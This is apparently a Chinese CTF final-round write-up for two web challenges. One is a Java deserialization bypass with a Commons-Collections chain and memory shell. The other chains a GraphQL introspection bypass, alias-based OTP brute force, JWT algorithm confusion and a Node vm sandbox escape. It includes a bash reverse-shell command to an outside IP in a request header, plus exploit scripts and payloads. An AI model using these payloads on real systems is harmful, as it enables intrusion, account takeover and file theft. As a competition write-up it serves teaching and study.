说实在的,自从Opus、GPT强度上来以后,已经摆烂了好一阵子了,这AI都一把梭哈了,没有AI都很难打初赛了,连XCTF分站赛以前的几解题都被杀爆了wwwwwww,感觉看不到我自己未来的希望了怎么办((((((,也就线下断网能复健一下,emm甚至有些比赛WIFI一看全是热点吗?决定不再摆烂,努力日更!!
这决赛WEB和PWN就不是给人做的,WEB没有离线资料库就直接废掉了,挺多不常见的考点摆在那里,我们最后也就只能勉强拿下两题(
JavaUnbound
这里发现有CC3.2.1
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22
| <parent> <groupId>org.springframework.boot</groupId> <artifactId>spring-boot-starter-parent</artifactId> <version>2.7.18</version> </parent>
<properties> <java.version>1.8</java.version> </properties>
<dependencies> <dependency> <groupId>org.springframework.boot</groupId> <artifactId>spring-boot-starter-web</artifactId> </dependency>
<dependency> <groupId>commons-collections</groupId> <artifactId>commons-collections</artifactId> <version>3.2.1</version> </dependency> </dependencies>
|
反序列化入口在这里
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21
| @RestController public class HelloController {
@GetMapping("/") public String hello() { return "hello world"; }
@PostMapping("/") public String deserialize(@RequestBody byte[] data) { try { ByteArrayInputStream bais = new ByteArrayInputStream(data); ObjectInputStream ois = new SafeObjectInputStream(bais); Object obj = ois.readObject(); ois.close(); return "deserialization success"; } catch (Exception e) { throw new RuntimeException(e); } } }
|
SafeObjectInputStream这里用的这个,有黑名单过滤
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32
| public class SafeObjectInputStream extends ObjectInputStream {
private static final String[] blacklist = { "java.lang.Runtime", "java.lang.ProcessBuilder", "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl", "java.security.SignedObject", "com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet", "javax.management.remote.rmi.RMIConnector" };
public SafeObjectInputStream(InputStream in) throws IOException { super(in); }
@Override protected Class<?> resolveClass(ObjectStreamClass desc) throws IOException, ClassNotFoundException {
String className = desc.getName();
for (String banned : blacklist) { if (className.startsWith(banned)) { throw new InvalidClassException( "Unauthorized deserialization attempt", className ); } }
return super.resolveClass(desc); } }
|
所以java chain用CC3.2.1 ChainedTransformer 链BCEL一把梭哈,没有回显也不出网,可以打jmggadget内存马
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| import requests
url = "http://10.11.253.24:26730/" with open("payload.bin", "rb") as f: payload = f.read()
header={ "X-Authorization":"bash -c \"bash -i >& /dev/tcp/10.11.112.100/14444 0>&1\"" }
response = requests.post(url, data=payload, headers=header)
print(response.headers) print(response.text)
|
payload.bin



QLwist
审计源码
多处有graphql的身影,虽然是内网才能访问但是可以打ssrf
这里还禁用了内省查询,离线知识库查询得可以使用get进行绕过,这里代码只对body进行了限制,但是结果是有CSRF限制,get请求不可用


这里用__type绕过
1
| query { __type(name: \"Mutation\") { fields { name args { name}}}}
|

得到有resetPassword、resetToken、verifyOTP等
1
| {"status":200,"body":"{\"data\":{\"__type\":{\"fields\":[{\"name\":\"register\",\"args\":[{\"name\":\"username\"},{\"name\":\"password\"}]},{\"name\":\"login\",\"args\":[{\"name\":\"username\"},{\"name\":\"password\"}]},{\"name\":\"requestPasswordReset\",\"args\":[{\"name\":\"username\"}]},{\"name\":\"verifyOTP\",\"args\":[{\"name\":\"username\"},{\"name\":\"otp\"}]},{\"name\":\"resetPassword\",\"args\":[{\"name\":\"resetToken\"},{\"name\":\"newPassword\"}]}]}}}\n"}
|
resetpassword需要resetToken和newPassword,则我们可能需要爆破一下opt拿到token,别名绕过limit限制
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| for i in range(10000): otp = f"{i:04d}" fields.append( f'o{i}: verifyOTP(username:"admin", otp:"{otp}")' "{ resetToken }" ) result = self.graphql_raw(user_token, "OTP { " + " ".join(fields) + " }") data = result.get("data") or {} for alias, value in data.items(): if isinstance(value, dict) and value.get("resetToken"): otp = f"{int(alias[1:]):04d}" reset_token = value["resetToken"] self.log(f"found admin OTP={otp}, resetToken={reset_token}") return reset_token
|


1
| mutation { resetPassword(resetToken:\"b08b3af403b27bed185f2dc9e8f404e74e4d436a327a7f07\",newPassword:\"admin\") }
|
成功修改密码
然后登录admin,拿到cookie
1
| token=eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwicm9sZSI6ImFkbWluIiwiaWF0IjoxNzc3MzY3MTA3LCJleHAiOjE3NzczOTU5MDd9.TvPIqYExWRth1Ity1JUWFLX_djhAJ08v9BgFz0kwTniLpy8P-yXjCDEmJ-CqumA5oNpZ6TqK2Piu8eMts2cHqXOUei4vAta3WyX0TmIpUv3b_H_UlJFAWoCnDlrtyJil0_qsTQgXVjmr4pvXP_RKCA8fYH2tcWMMl9er7mo_dVTAeNGfDmVBewaSLKIS7NZqTvemXLPlJTy9iUhYk0VMqcwov56hAEFSOfYh7SRYFibd4c0mPSxfo5NvN9jNkBl0ct0reQ7WTFla-36MfLqzdYPx_hfAqevybZVSr9K2jbLRZjTZc_MsF61mynlZY9d7_kiOaQ4sEnVp1Ahn1USCKg
|
有了admin我们就可以读取_pkA/_pkB/_pkC/_pkD(前面绕过读取可以读出来但是没办法读取内容需要admin) 得到rsa密钥拼接
1
| query { _pkA _pkB _pkC _pkD }
|

1
| {"status":200,"body":"{\"data\":{\"_pkA\":\"MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEApHvT3IloJV43Jloe2p0iDv9BTRpgwQsKfrH3D21XhCrgANkt2D3yds\",\"_pkB\":\"rnPJaU9x+enBc7Z9qoFMs7Br1UUT9U6pYMiCpMBVWyTKZJhllS73ciccV0sGy8bA1OzvvvURuZiRJNuZ2bhMIO3HmvNxxHNnFz\",\"_pkC\":\"i7Z1Fee6sKs2d6f2hSohihA0OYML8mSgGU6fv1bPX84rRV1GtmvtKHz5SYBJdepOs/YXkL2vrxDBixN1kCssrcjiJu5XiNi3EO\",\"_pkD\":\"A9GcpP1STbNDccCDxuH/cvPXfqucrAaAyR0VjCx1aQyPQw7knAWosZopRCnhxmwIB9DxcSz54eZFXx3ymK7vhbgL4gOwIDAQAB\"}}\n"}
|
得到
1 2 3
| -----BEGIN PUBLIC KEY----- MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEApHvT3IloJV43Jloe2p0iDv9BTRpgwQsKfrH3D21XhCrgANkt2D3ydsrnPJaU9x+enBc7Z9qoFMs7Br1UUT9U6pYMiCpMBVWyTKZJhllS73ciccV0sGy8bA1OzvvvURuZiRJNuZ2bhMIO3HmvNxxHNnFzi7Z1Fee6sKs2d6f2hSohihA0OYML8mSgGU6fv1bPX84rRV1GtmvtKHz5SYBJdepOs/YXkL2vrxDBixN1kCssrcjiJu5XiNi3EOA9GcpP1STbNDccCDxuH/cvPXfqucrAaAyR0VjCx1aQyPQw7knAWosZopRCnhxmwIB9DxcSz54eZFXx3ymK7vhbgL4gOwIDAQAB -----END PUBLIC KEY-----
|
打JWT alg confusion
服务端本来是 alg=RS256,并用 RSA 公钥验签。我们把header 改成 alg=HS256,服务端依然用“公钥”去验签,但在HS256下,它就变成了HMAC secret。用HS256计算签名,于是可以伪造super_admin token
1 2 3 4 5 6
| { "username": "admin", "role": "super_admin", "iat": <now>, "exp": <now + 8h> }
|
然后最后就是要绕/admin/super/evaluate,过滤了 process/require 等黑名单,并临时delete globalThis.process。但 vm.runInNewContext 返回后 finally 会恢复 process。所以就是要vm沙箱逃逸。先在沙箱里注册Promise.resolve().then(…),等finally恢复process后异步执行,通过 getBuiltinModule(‘fs’) 读文件。
1 2 3 4 5 6 7 8
| schedule = ( "Promise.resolve().then(()=>{try{" "const p=this.constructor.constructor('return pro'+'cess')();" "const fs=p.getBuiltinModule('fs');" + js_body + "}catch(e){this.constructor.constructor('return this')().leak='ERR:'+e.message}});" " return 'scheduled'" )
|
然后就是list或者read一下文件就可以了
1 2 3 4 5 6 7 8 9
| js = ( "this.constructor.constructor('return this')().leak=" f"fs.readFileSync({json.dumps(path)},'utf8')" )
js = ( "this.constructor.constructor('return this')().leak=" f"fs.readdirSync({json.dumps(path)}).join('\\n')" )
|
最后
[+] path: /f14g_2c2fffce85ace4eb649d
flag{1jn8uu3mgemq6p4sob2bmmmjabs2qj8j}